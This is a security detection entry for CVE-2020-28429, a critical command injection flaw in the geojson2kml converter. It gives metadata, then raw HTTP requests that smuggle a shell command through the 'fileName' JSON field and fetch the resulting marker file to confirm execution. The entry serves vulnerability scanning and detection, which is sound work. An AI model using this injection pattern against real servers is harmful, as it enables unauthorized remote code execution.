| Title | geojson2kml - Command Injection |
|---|---|
| Author | eeche,chae1xx1os,persona-twotwo,soonghee2 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, privilege escalation |
| Remediation | Do not use geojson2kml. There is no fixed version for geojson2kml. |
| CVSS Score | 9.8 |
| EPSS Score | 0.8418 |
| CVE ID | CVE-2020-28429 |
| CWE ID | CWE-78 |
| Tags | cve cve2020 rce geojson2kml file-upload intrusive vuln |
Detects command injection vulnerability by checking if hacked.txt is created and contains the expected content.
POST /convert HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 380
Content-Type: application/json
Accept-Encoding: gzip
{
"fileName": "& echo \"38FTLJ2w4d4h1H1fhFEAaB29amo\" > EYYeMzUI.txt && ls",
"geoJsonData": {
"type": "FeatureCollection",
"features": [
{
"type": "Feature",
"geometry": {
"type": "Point",
"coordinates": [102.0, 0.5]
},
"properties": {
"prop0": "value0"
}
}
]
}
}
GET /file/EYYeMzUI.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28429.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-28429.pcap
N/AN/A